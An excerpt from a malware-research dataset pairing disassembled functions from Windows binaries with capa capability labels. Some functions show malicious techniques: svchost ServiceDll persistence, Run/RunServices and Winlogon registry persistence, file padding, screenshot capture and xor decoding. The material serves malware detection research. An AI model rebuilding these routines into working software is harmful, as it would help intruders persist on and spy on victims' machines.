joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Uakohm_A_jevupgLc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.msvcrt.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push 0x80000002
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
push ecx
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push 0x80000002
movsb byte es:[edi], byte [esi]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str.Uakohm_A_jevupgLc
push ebx
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.advapi32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x1000c480
Capabilities:
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [esp + 0x408]
push ebp
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x1000c56a
push ebx
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0xc], 0
stosb byte es:[edi], al
call dword [sym.imp.msvcrt.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebx, edx
test ebx, ebx
jle 0x1000c546
push esi
mov edx, edi
and edx, 0x800003ff
jns 0x1000c507
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1000c528
xor esi, esi
call dword [sym.imp.msvcrt.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x13], dl
jl 0x1000c50b
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.kernel32.dll_WriteFile]
inc edi
cmp edi, ebx
jl 0x1000c4f5
pop esi
push ebp
call dword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, dword [0x10016e10]
mov edx, dword [esp + 0x414]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
pop edi
pop ebx
pop ebp
add esp, 0x404
ret
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str.Uakohm_A_jevupgLc
call fcn.1000c6b0
mov esi, dword [sym.imp.msvcrt.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
call dword [sym.imp.kernel32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.kernel32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateEventA]
push eax
call dword [sym.imp.kernel32.dll_SetEvent]
call fcn.10006220
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.kernel32.dll_GetTickCount]
push eax
call dword [sym.imp.msvcrt.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
push 0x10018c50
call dword [sym.imp.kernel32.dll_CopyFileA]
push str._RqmbzdlDjn_p__Jqg_TRb_nqcfwj_bqe
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x100022f0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push eax
push str.Fatal_error:__s_n
push 0x10027268
call fcn.1000e19d
add esp, 0xc
push 1
call fcn.1000e120
nop
nop
Function at 0x1001007d
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10027778]
je 0x10010098
inc edi
cmp edi, 0x17
jb 0x10010089
cmp edi, 0x17
jae 0x10010218
push ebp
push 3
call fcn.10016436
cmp eax, 1
pop ecx
je 0x100101e4
push 3
call fcn.10016436
test eax, eax
pop ecx
jne 0x100100cc
cmp dword [0x10028814], 1
je 0x100101e4
cmp ebx, 0xfc
je 0x10010217
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x100289c8
push ebp
call fcn.10016033
add esp, 0xc
test eax, eax
je 0x10010102
push esi
push esi
push esi
push esi
push esi
call fcn.1000f6c5
add esp, 0x14
push 0x104
mov esi, 0x100289e1
push esi
push 0
mov byte [0x10028ae5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10010146
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.10016033
add esp, 0xc
test eax, eax
je 0x10010146
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1000f6c5
add esp, 0x14
push esi
call fcn.10015c30
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1001018b
push esi
call fcn.10015c30
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x10028cdc
push 0x1001cb3c
sub ecx, eax
push ecx
push eax
call fcn.10016383
add esp, 0x14
test eax, eax
je 0x1001018b
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.1000f6c5
add esp, 0x14
jmp 0x1001018d
xor esi, esi
push 0x1001cb38
push ebx
push ebp
call fcn.10016312
add esp, 0xc
test eax, eax
je 0x100101ad
push esi
push esi
push esi
push esi
push esi
call fcn.1000f6c5
add esp, 0x14
push dword [edi*8 + 0x1002777c]
push ebx
push ebp
call fcn.10016312
add esp, 0xc
test eax, eax
je 0x100101cf
push esi
push esi
push esi
push esi
push esi
call fcn.1000f6c5
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.10016155
add esp, 0xc
jmp 0x10010217
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x10010217
cmp ebp, 0xffffffff
je 0x10010217
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1002777c]
push dword [esi]
call fcn.10015c30
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x10012700
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10027f40]
jne 0x1001270a
repz ret
jmp fcn.10017139
Function at 0x10016155
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.10010330
xor ebx, ebx
cmp dword [0x10028eb4], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x1001622b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x1001630b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1001630b
push eax
call fcn.100102c2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10028eb4], eax
call esi
push eax
call fcn.100102c2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10028eb8], eax
call esi
push eax
call fcn.100102c2
mov dword [0x10028ebc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.1000df39
test eax, eax
pop ecx
pop ecx
je 0x100161f9
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000f6c5
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x1001622b
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.100102c2
cmp eax, ebx
pop ecx
mov dword [0x10028ec4], eax
je 0x1001622b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100102c2
pop ecx
mov dword [0x10028ec0], eax
mov eax, dword [0x10028ec0]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x100162b0
cmp dword [0x10028ec4], ecx
je 0x100162b0
push eax
call fcn.10010339
push dword [0x10028ec4]
mov esi, eax
call fcn.10010339
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x100162b0
cmp edi, ebx
je 0x100162b0
call esi
cmp eax, ebx
je 0x1001627d
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001627d
test byte [ebp - 0x18], 1
jne 0x100162b0
lea eax, [ebp - 0x10]
push eax
call fcn.1000df70
test eax, eax
pop ecx
je 0x10016298
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000f6c5
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x100162a7
or dword [ebp + 0x10], 0x200000
jmp 0x100162eb
or dword [ebp + 0x10], 0x40000
jmp 0x100162eb
mov eax, dword [0x10028eb8]
cmp eax, dword [ebp - 8]
je 0x100162eb
push eax
call fcn.10010339
cmp eax, ebx
pop ecx
je 0x100162eb
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x100162eb
mov eax, dword [0x10028ebc]
cmp eax, dword [ebp - 8]
je 0x100162eb
push eax
call fcn.10010339
cmp eax, ebx
pop ecx
je 0x100162eb
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10028eb4]
call fcn.10010339
cmp eax, ebx
pop ecx
je 0x1001630b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001630d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40123f
Capabilities:
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.UserIsLoggedOn_start
call fcn.0040407f
lea eax, [ebp - 0x104]
mov dword [esp], 0x104
push eax
push str.Shell
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.WSOCK32.dll_bind
call fcn.0040677e
add esp, 0x14
test al, al
jne 0x40128e
push str.Cannot_read_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonShell
call fcn.0040407f
mov dword [esp], str.UserIsLoggedOn_end__assume_user_is_logged_on
jmp 0x4012bb
lea eax, [ebp - 0x104]
push eax
push str.Check_for_program__s
call fcn.0040407f
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push eax
push 0x401227
call fcn.004060c4
test eax, eax
jne 0x4012c6
push str.UserIsLoggedOn_end__user_is_logged_on
call fcn.0040407f
pop ecx
push 1
pop eax
leave
ret
push str.UserIsLoggedOn_end__user_is_NOT_logged_on
call fcn.0040407f
pop ecx
xor eax, eax
leave
ret
Function at 0x40bdce
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
push str.CreatePoweroffService_start
call fcn.0040407f
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push ebx
push dword [ebp + 8]
call fcn.0040bb5f
add esp, 0x10
test eax, eax
je 0x40bf1d
push ebx
mov esi, reloc.WSOCK32.dll_bind
push str.SYSTEMCurrentControlSetServicesPoweroffParameters
push esi
call fcn.0040c62a
add esp, 0xc
cmp dword [ebx + 0x864], 1
jne 0x40be55
push str.Creating_WIN98_service
call fcn.0040407f
lea eax, [ebp - 0x104]
push eax
push 0x41cf08
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push esi
call fcn.004066b7
add esp, 0x14
test al, al
je 0x40be72
push str.Please_restart_your_computer_to_start_the_service
push dword [ebp + 8]
push ebx
jmp 0x40bf0a
push str.Creating_real_NT_service
call fcn.0040407f
pop ecx
xor esi, esi
push 2
push esi
push esi
call dword [section..rdata]
mov edi, eax
cmp edi, esi
jne 0x40be81
push dword [ebp + 8]
push ebx
call fcn.0040427a
pop ecx
jmp 0x40bf1c
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x104]
push esi
push eax
push 1
push 2
push 0x110
mov eax, 0x41cf08
push 0xf0010
push eax
push eax
push edi
call dword [0x419024]
mov ebx, eax
cmp ebx, esi
jne 0x40bec5
push dword [ebp + 8]
push dword [ebp + 0xc]
call fcn.0040427a
pop ecx
pop ecx
push edi
call dword [0x419028]
jmp 0x40bf1d
push str.Starting_service
call fcn.0040407f
pop ecx
push esi
push esi
push ebx
call dword [0x41902c]
test eax, eax
jne 0x40bef8
push dword [ebp + 8]
push dword [ebp + 0xc]
call fcn.0040427a
mov esi, dword [0x419028]
pop ecx
pop ecx
push ebx
call esi
push edi
call esi
jmp 0x40bf1d
push edi
call dword [0x419028]
push str.Poweroff_service_succesfully_installed
push dword [ebp + 8]
push dword [ebp + 0xc]
call fcn.00404198
add esp, 0xc
push str.CreatePoweroffService_end
call fcn.0040407f
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40bf22
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push str.RemovePoweroffService_start
call fcn.0040407f
mov ebx, dword [ebp + 0xc]
pop ecx
cmp dword [ebx + 0x864], 1
jne 0x40bf70
push str.Deleting_WIN98_service
call fcn.0040407f
mov dword [esp], 0x41cf08
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push reloc.WSOCK32.dll_bind
call fcn.004068a8
add esp, 0xc
test al, al
je 0x40bf91
push str.Please_restart_your_computer_to_stop_the_service
jmp 0x40bff0
push str.Deleting_NT_service
call fcn.0040407f
mov dword [esp], 0x40000000
push 0
push 0
call dword [section..rdata]
mov edi, eax
test edi, edi
jne 0x40bf9e
push dword [ebp + 8]
push ebx
call fcn.0040427a
pop ecx
pop ecx
jmp 0x40c018
push 0x10000
push 0x41cf08
push edi
call dword [0x41901c]
mov esi, eax
test esi, esi
jne 0x40bfc9
push dword [ebp + 8]
push ebx
call fcn.0040427a
pop ecx
pop ecx
push edi
call dword [0x419028]
jmp 0x40c018
push esi
call dword [0x419020]
test eax, eax
jne 0x40bfdf
push dword [ebp + 8]
push ebx
call fcn.0040427a
pop ecx
pop ecx
push esi
mov esi, dword [0x419028]
call esi
push edi
call esi
push str.Poweroff_service_succesfully_deleted
push dword [ebp + 8]
push ebx
call fcn.00404198
add esp, 0xc
push str.SYSTEMCurrentControlSetServicesPoweroffParameters
push reloc.WSOCK32.dll_bind
call fcn.004068f5
push str.RemovePoweroffService_end
call fcn.0040407f
add esp, 0xc
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4010b6
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], 0x40135a
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x404120]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 6
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str.LastViewCtrl
mov dword [ebp - 4], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
push 0x3f
call sub.user32.dll_GetSystemMetrics
cmp eax, 3
jne 0x401138
push 0x400000
nop
nop
add eax, 0x1d
push eax
nop
pop eax
and eax, eax
jne 0x401122
sub eax, 0xc
xor eax, eax
push 0
call fcn.00401537
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
push dword [ebp + 8]
push dword [ebp - 0x54]
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.MyApp
push str.LastViewCtrl
push 0
call sub.user32.dll_CreateWindowExA
mov dword [ebp - 0x50], eax
push dword [ebp + 0x14]
push dword [ebp - 0x50]
call sub.user32.dll_ShowWindow
push dword [ebp - 0x50]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x4011b2
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x40118b
mov eax, dword [ebp - 0x44]
leave
ret 0x10

Function at 0x4011db
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov dword [ebp - 0x14], 0
push dword [ebp - 0x14]
call sub.user32.dll_GetDC
mov dword [ebp + 0xc], eax
push 0
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 4], eax
add eax, eax
mov dword [ebp - 0xc], eax
push 1
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [0x404010], eax
push dword [ebp + 0xc]
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 0x10], eax
push dword [0x404010]
push dword [ebp - 0x10]
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0x18], eax
push 0xcc0020
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push 0
push dword [ebp - 0x10]
call sub.gdi32.dll_BitBlt
push 0xcc0020
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push dword [ebp - 4]
push dword [ebp - 0x10]
call sub.gdi32.dll_BitBlt
push esi
mov esi, dword [ebp - 4]
push 0xcc0020
push 0
push esi
push dword [ebp - 0x10]
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push 0
push dword [ebp + 0xc]
call sub.gdi32.dll_BitBlt
push 0x14
call sub.kernel32.dll_Sleep
sub esi, 8
jns 0x40127c
pop esi
push 0
push dword [ebp + 0xc]
push 0xf
push 0
call sub.user32.dll_SendMessageA
push dword [0x404010]
call sub.gdi32.dll_DeleteObject
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call sub.gdi32.dll_SelectObject
push dword [ebp - 0x10]
call sub.gdi32.dll_DeleteDC
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call sub.user32.dll_ReleaseDC
leave
ret 8
Function at 0x4013ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
pushal
mov eax, str.GetLastError
add eax, dword [ebp + 0x10]
push eax
mov eax, 0x40400c
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, 0x40410b
add eax, dword [ebp + 0x10]
call dword [eax]
push eax
mov eax, 0x404023
add eax, dword [ebp + 0x10]
push eax
mov eax, 0x40400c
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, 0x40410b
add eax, dword [ebp + 0x10]
call dword [eax]
pop eax
call eax
or eax, eax
jne 0x401435
push eax
jmp 0x401443
cmp eax, 0x7f
jne 0x401441
push 0x100
jmp 0x401443
push 1
mov esi, dword [ebp + 8]
mov ebx, 0xa
mov ecx, dword [ebp + 0xc]
shr ecx, 2
mov edx, 0
mov eax, dword [ebp + 0xc]
shr eax, 2
sub eax, ecx
push eax
div ebx
inc edx
inc edx
sub dword [esi], edx
xor edx, edx
pop eax
div ebx
add edx, dword [esp]
push edx
add dword [esp], 0x4530ec21
pop edx
xor dword [esi], edx
add esi, 4
loop 0x401451
pop eax
popal
leave
ret 0x10